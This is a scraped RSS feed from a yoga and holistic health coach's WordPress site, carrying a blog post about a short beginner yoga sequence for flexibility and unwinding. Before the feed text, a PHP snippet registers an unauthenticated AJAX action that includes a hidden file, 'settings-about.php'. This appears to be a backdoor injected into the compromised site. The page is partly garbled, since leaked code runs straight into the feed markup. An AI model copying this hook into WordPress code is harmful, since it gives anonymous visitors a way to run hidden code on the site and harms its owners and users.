if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } increase flexibility - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Mon, 25 Nov 2013 15:17:41 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Gentle Yoga Sequnce to UnWind, Improve Flexibility and Relieve Pain https://rommykirby.com/gentle-yoga-sequnce-to-unwind-improve-flexibility-and-relieve-pain/ https://rommykirby.com/gentle-yoga-sequnce-to-unwind-improve-flexibility-and-relieve-pain/#comments Mon, 25 Nov 2013 15:17:41 +0000 http://RommyKirby.com/?p=379 When I first started my yoga training, I was the only trainee in the class that could not touch the floor…even with my fingertips.  It was so frustrating! Years have passed, thousands of hours on the mat, too many self inflicted injuries have revealed that a daily practice is the only way to experience ease […]

The post Gentle Yoga Sequnce to UnWind, Improve Flexibility and Relieve Pain first appeared on Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator.

]]> When I first started my yoga training, I was the only trainee in the class that could not touch the floor…even with my fingertips. 

It was so frustrating!

Years have passed, thousands of hours on the mat, too many self inflicted injuries have revealed that a daily practice is the only way to experience ease throughout the day and manage the challenges of changing seasons, travel and over work.

I found something that works for me, maybe it will work for you…

The sequence in this video is a wonderful entry for beginning yoga students, or people living with chronic pain or those of us that just need to unwind a bit before bed. It’s also a delicious break for experienced yoga students.

The 3 really cool things about are….

  • It’s simple. You don’t need years of yoga or even know a single yoga pose.
  • It’s short, less than 7 minutes.
  • It feels good. It opens and releases the meridian lines in the body creating ease and promotes health and vitality.

Try it yourself.

Try it 10 days in a row and let me know what changes for you.

 

Tell me…

Do you practice yoga? Does your body hurt most of the time? What have you done that works for you?

 

Do you like this? Do you know someone that could benefit from this? If you do, share it, they will thank you for it.

The post Gentle Yoga Sequnce to UnWind, Improve Flexibility and Relieve Pain first appeared on Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator.

]]> https://rommykirby.com/gentle-yoga-sequnce-to-unwind-improve-flexibility-and-relieve-pain/feed/ 9